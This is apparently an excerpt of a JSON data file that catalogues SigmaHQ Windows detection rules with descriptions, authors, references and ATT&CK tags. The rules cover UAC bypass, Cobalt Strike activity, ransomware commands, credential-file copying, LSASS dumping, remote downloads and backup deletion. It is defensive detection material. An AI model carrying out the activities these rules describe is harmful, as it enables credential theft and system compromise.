"https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", - "value": "Suspicious CMD Shell Redirect" - }, - { - "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", - "meta": { - "author": "Nik Seetharaman, Christian Burkard", - "creation_date": "2019/07/31", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "filename": "proc_creation_win_cmstp_com_object_access.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://twitter.com/hFireF0X/status/897640081053364225", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ] - }, - "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", - "value": "CMSTP UAC Bypass via COM Object Access" - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "meta": { - "author": "Nik Seetharaman", - "creation_date": "2018/07/16", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "filename": "proc_creation_win_cmstp_execution_by_creation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ] - }, - "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", - "value": "CMSTP Execution Process Creation" - }, - { - "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", - "meta": { - "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", - "value": "Operator Bloopers Cobalt Strike Commands" - }, - { - "description": "Detects use of Cobalt Strike module commands accidentally entered in the CMD shell", - "meta": { - "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", - "value": "Operator Bloopers Cobalt Strike Modules" - }, - { - "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", - "meta": { - "author": "Wojciech Lesicki", - "creation_date": "2021/06/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/threat-detection-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml", - "https://www.cobaltstrike.com/help-windows-executable", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", - "value": "CobaltStrike Load by Rundll32" - }, - { - "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/27", - "falsepositive": [ - "Other programs that cause these patterns (please report)" - ], - "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "f35c5d71-b489-4e22-a115-f003df287317", - "value": "CobaltStrike Process Patterns" - }, - { - "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", - "meta": { - "author": "xknow @xknow_infosec, Tim Shelton", - "creation_date": "2020/06/11", - "falsepositive": [ - "(not much) some benign Java tools may product false-positive commandlines for loading libraries" - ], - "filename": "proc_creation_win_commandline_path_traversal.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml", - "https://twitter.com/Oddvarmoe/status/1270633613449723905", - "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", - "value": "Cmd.exe CommandLine Path Traversal" - }, - { - "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/10/26", - "falsepositive": [ - "Google Drive", - "Citrix" - ], - "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/hexacorn/status/1448037865435320323", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml", - "https://twitter.com/Gal_B1t/status/1062971006078345217" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", - "value": "Command Line Path Traversal Evasion" - }, - { - "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/11/10", - "falsepositive": [ - "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" - ], - "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "435e10e4-992a-4281-96f3-38b11106adde", - "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet" - }, - { - "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_conhost_path_traversal.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", - "value": "Conhost.exe CommandLine Path Traversal" - }, - { - "description": "Conti ransomware command line ioc", - "meta": { - "author": "frack113", - "creation_date": "2021/10/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_conti_cmd_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml", - "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19" - ], - "tags": [ - "attack.impact", - "attack.s0575", - "attack.t1486" - ] - }, - "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", - "value": "Conti Ransomware Execution" - }, - { - "description": "Detects a command used by conti to dump database", - "meta": { - "author": "frack113", - "creation_date": "2021/08/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_conti_sqlcmd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ] - }, - "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", - "value": "Conti Backup Database" - }, - { - "description": "Detects the malicious use of a control panel item", - "meta": { - "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", - "creation_date": "2020/06/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_control_panel_item.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1196/", - "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218.002", - "attack.persistence", - "attack.t1546" - ] - }, - "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", - "value": "Control Panel Items" - }, - { - "description": "Files with well-known filenames (sensitive files with credential data) copying", - "meta": { - "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" - ], - "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003", - "car.2013-07-001", - "attack.s0404" - ] - }, - "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", - "value": "Copying Sensitive Files with Credential Data" - }, - { - "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_copy_dmp_from_share.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" - ], - "tags": [ - "attack.credential_access" - ] - }, - "uuid": "044ba588-dff4-4918-9808-3f95e8160606", - "value": "Copy DMP Files From Share" - }, - { - "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_crackmapexec_patterns.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", - "value": "CrackMapExec Process Patterns" - }, - { - "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2021/07/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_creation_mavinject_process_injection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://reaqta.com/2017/12/mavinject-microsoft-injector/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://twitter.com/Hexacorn/status/776122138063409152", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml", - "https://twitter.com/gN3mes1s/status/941315826107510784" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.001", - "attack.t1218.013" - ] - }, - "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", - "value": "Mavinject Inject DLL Into Running Process" - }, - { - "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/04/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_creative_cloud_node_abuse.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mttaggart/status/1511804863293784064", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127", - "attack.t1059.007" - ] - }, - "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", - "value": "Node Process Executions" - }, - { - "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", - "meta": { - "author": "Sreeman", - "creation_date": "2020/10/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_credential_access_via_password_filter.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml", - "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter" - ], - "tags": [ - "attack.credential_access", - "attack.t1556.002" - ] - }, - "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", - "value": "Dropping Of Password Filter DLL" - }, - { - "description": "Detects Credential Acquisition via Registry Hive Dumping", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/10/04", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml", - "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", - "value": "Credential Acquisition via Registry Hive Dumping" - }, - { - "description": "Detects Archer malware invocation via rundll32", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_crime_fireball.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml", - "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", - "value": "Fireball Archer Install" - }, - { - "description": "Detects specific process characteristics of Maze ransomware word document droppers", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_crime_maze_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml", - "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", - "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1047", - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", - "value": "Maze Ransomware" - }, - { - "description": "Detects specific process characteristics of Snatch ransomware word document droppers", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/08/26", - "falsepositive": [ - "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" - ], - "filename": "proc_creation_win_crime_snatch_ransomware.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ] - }, - "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", - "value": "Snatch Ransomware" - }, - { - "description": "Detects command line parameters or strings often used by crypto miners", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/26", - "falsepositive": [ - "Legitimate use of crypto miners", - "Some build frameworks" - ], - "filename": "proc_creation_win_crypto_mining_monero.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml", - "https://www.poolwatch.io/coin/monero" - ], - "tags": [ - "attack.impact", - "attack.t1496" - ] - }, - "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", - "value": "Windows Crypto Mining Indicators" - }, - { - "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/05", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "filename": "proc_creation_win_curl_download.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml", - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", - "value": "Curl Usage on Windows" - }, - { - "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/03/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution", - "cve.2021.26857" - ] - }, - "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", - "value": "CVE-2021-26857 Exchange Exploitation" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "meta": { - "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Highly likely if rar is a default archiver in the monitored environment." - ], - "filename": "proc_creation_win_data_compressed_with_rar.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", - "value": "Data Compressed - rar.exe" - }, - { - "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_delete_systemstatebackup.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", - "value": "Wbadmin Delete Systemstatebackup" - }, - { - "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", - "meta": { - "author": "Sreeman", - "creation_date": "2020/04/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "4e762605-34a8-406d-b72e-c1a089313320", - "value": "Detecting Fake Instances Of Hxtsr.exe" - }, - { - "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/08/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_deviceenroller_evasion.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mobile.twitter.com/0gtweet/status/1564131230941122561", - "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", - "value": "DLL Sideloading via DeviceEnroller.exe" - }, - { - "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_dinjector.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml", - "https://github.com/snovvcrash/DInjector" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", - "value": "DInject PowerShell Cradle CommandLine Flags" - }, - { - "description": "Detect use of DirLister.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_dirlister.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", - "value": "Launch DirLister Executable" - }, - { - "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Administrators settings a service to disable via script or cli for testing purposes" - ], - "filename": "proc_creation_win_disable_service.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", - "value": "Sc Or Set-Service Cmdlet Execution to Disable Services" - }, - { - "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", - "meta": { - "author": "frack113", - "creation_date": "2021/07/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_discover_private_keys.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ] - }, - "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", - "value": "Discover Private Keys" - }, - { - "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_dll_sideload_defender.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml", - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", - "value": "DLL Sideloading by Microsoft Defender" - }, - { - "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary 